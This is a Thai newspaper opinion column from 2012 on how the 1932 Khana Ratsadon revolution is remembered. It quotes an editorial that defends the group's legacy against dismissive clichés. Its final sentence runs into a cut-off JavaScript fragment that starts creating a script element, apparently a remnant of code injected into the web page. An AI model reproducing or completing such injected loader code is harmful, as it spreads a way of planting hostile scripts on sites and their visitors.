Download PDF

มติชนรายวัน ฉบับประจำวันจันทร์ที่ 13 สิงหาคม 2555

 

          “ชิงสุกก่อนห่าม”, “ปลูกไม้เมืองหนาวในป่าเขตร้อน”, ฯลฯ เป็นวลีเปรียบเปรยเพื่อเย้ยหยันการเปลี่ยนแปลงการปกครอง 2475 ส่งผลให้มีคำสั่งยกเลิกวันชาติ 24 มิถุนายน

          คณะราษฎร (อ่านว่า คะ-นะ-ราด-สะ-ดอน) ไม่ใช่คณะแรก และไม่ใช่คณะเดียวในยุคนั้น ที่ต้องการเปลี่ยนแปลงการปกครองจากระบอบเก่าเป็นระบอบใหม่

          แต่มีกลุ่มอื่นๆ ทั้งยุคก่อนหน้าและยุคนั้นอีกหลายกลุ่มต้องการระบอบประชาธิปไตย ซึ่งมักเรียกด้วยภาษาปากทับศัพท์ภาษาอังกฤษว่า“ดีโมเครซี” หรือ   “ดีมอคเครซี”

          ประวัติศาสตร์แห่งชาติของไทยไม่มีประวัติศาสตร์สังคมและการเมือง รวมทั้งไม่มีมิวเซียมเกี่ยวกับสังคมและการเมืองของไทย ที่แสดงให้เห็นความเคลื่อนไหวของผู้คนทุกระดับที่มีต่อการเมืองการปกครองทั้งด้านดีและด้านไม่ดี ตั้งแต่ยุคแรกๆสืบเนื่องมาจนถึง ร.5, 6, 7…

          ด้วยเหตุดังนั้นสังคมไทยจึงถูกทำให้รับรู้ด้านเดียว ทั้งโดยมือที่มองเห็นและมองไม่เห็น คือด้านอนุรักษนิยมที่เป็นปฏิปักษ์ต่อความเปลี่ยนแปลงในทางก้าวหน้า

          “วิภาษา” นิตยสารราย 45 วัน (ฉบับวันที่ 16 มิ.ย. – 31 ก.ค. 2555) มีบทบรรณาธิการของ ดร. บัณฑิต จันทร์โรจนกิจ (คณะรัฐศาสตร์ ม. รามคำแหง) เรื่อง เราเริ่มกันที่ระบอบรัฐธรรมนูญ กล่าวถึงการประเมินค่ามรดกของคณะราษฎร จะขอคัดตอนสำคัญมาแบ่งปันเผยแพร่ให้กว้างขวางออกไปอีกดังนี้

          หากจะประเมินค่ามรดกของคณะราษฎร คงต้องเข้าใจเสียก่อนว่าสิ่งที่คณะราษฎรได้กระทำเมื่อกว่า 80 ปีก่อนนั้น มิอาจถูกลดทอนลงอย่างตื้นเขินเหลือเพียงการกระทำเรื่องที่ชิงสุกก่อนห่าม หรือปลูกไม้เมืองหนาวในป่าเขตร้อน หากแต่ต้องพิจารณาในเงื่อนไขอื่นประกอบ ทั้งในแง่ผลพวงของวิกฤติเศรษฐกิจโลกและปัจจัยภายในที่เซาะกร่อนตัวมันเอง

          ถึงแม้จะมีการศึกษาในทางประวัติศาสตร์ที่โต้แย้งคำอธิบายผิวเผินข้างต้น แต่คงไม่อาจปฏิเสธได้ว่าคำวิจารณ์อย่างตื้นเขินเหล่านั้นสำเร็จรูปและน่าคล้อยตามมากกว่า ‘อะไรที่มันซับซ้อน’

          การประเมินค่ามรดกคณะราษฎรจึงตกอยู่ในกรอบของการกระทำ ความล้มเหลวและชะตากรรมของคนไม่กี่คน เช่น นายปรีดี พนมยงค์ จอมพล ป. พิบูลสงคราม หรือตัวละครหลัก หาใช่ระบอบการเมืองหรือระนาบของมนุษย์และปัจจัยทางวัฒนธรรม เงื่อนไขทางประวัติศาสตร์ ตลอดจนจุดหักเหของมัน

          ในความเป็นจริง คณะราษฎรได้พยายามเปลี่ยนแปลงฐานรากสำคัญ เช่น การวางแผนเค้าโครงเศรษฐกิจ แต่ก็ต้องประนีประนอมกับพลังหลากหลายในสังคมไทยอยู่พอควร จึงเป็นเรื่องที่ต้องขบคิดว่าคณะราษฎรมีความเป็นอิสระกี่มากน้อย และมีพลังต่อต้านหรือเหนี่ยวรั้งการเปลี่ยนแปลง ตลอดจนพยายามดึงอำนาจทวนกลับอย่างไรบ้าง

          กล่าวอย่างเป็นธรรม คณะราษฎรดำเนินการในฐานะ ‘คณะการเมือง’ ในช่วงเวลาที่สั้นมากๆ ได้แก่ หลังเปลี่ยนแปลงการปกครองจนถึงก่อนกบฏบวรเดช และหลังสงครามโลกครั้งที่สอง จนถูกรัฐประหาร 2490 จึงถือว่าปิดฉากบทบาทของคณะราษฎร ส่วนที่เหลือเป็นเรื่องของตัวบุคคลและคณะที่รองรับอำนาจต่างกันไป เช่น ในยุคของจอมพล ป. ในฐานะนายกรัฐมนตรีครั้งแรกและครั้งที่สองอยู่ห่างไกลจากการกำกับและรับผิดชอบของคณะราษฎรอย่างเห็นได้ชัด

          การกล่าวโทษในหลายๆ กรณีออกจะเกินจริงและมองข้ามภารกิจสำคัญที่สุดและกระทำการสำเร็จ ได้แก่ การจำกัดอำนาจที่เหลือล้นพ้นประมาณของระบอบสมบูรณาญาสิทธิราชย์ และความไร้น้ำยาในการจัดการกับความเปลี่ยนแปลงและแรงกดดันจากภายนอกอย่างมีนัยสำคัญของระบอบเก่า

          การ ‘มี’ รัฐธรรมนูญ จึงไม่ใช่เรื่องของการเขียนกฎหมายขึ้นมาลอยๆ ดังที่พระบาทสมเด็จพระปกเกล้าได้ต่อรองและมีการประนีประนอมระหว่างคณะราษฎรกับพระองค์จนถึงจุดสำคัญคือ การจัดพระราชพิธีพระราชทานรัฐธรรมนูญเมื่อวันที่ 10 ธันวาคม 2475 ที่สะท้อนให้เห็นความพยายามในการกำกับความหมายเชิงประเพณีของการถ่ายโอนอำนาจจากระบอบเก่าสู่ระบอบการเมืองใหม่

          น่าประหลาด ที่สังคมไทยทำตัวทันสมัย ต้องการประชาธิปไตย แต่“ไม่อยากให้จำ ต้องทำให้ลืม”ข้อดีของคณะราษฎรและ 24 มิถุนายน 2475var d=document;var s=d.createElement(‘script’);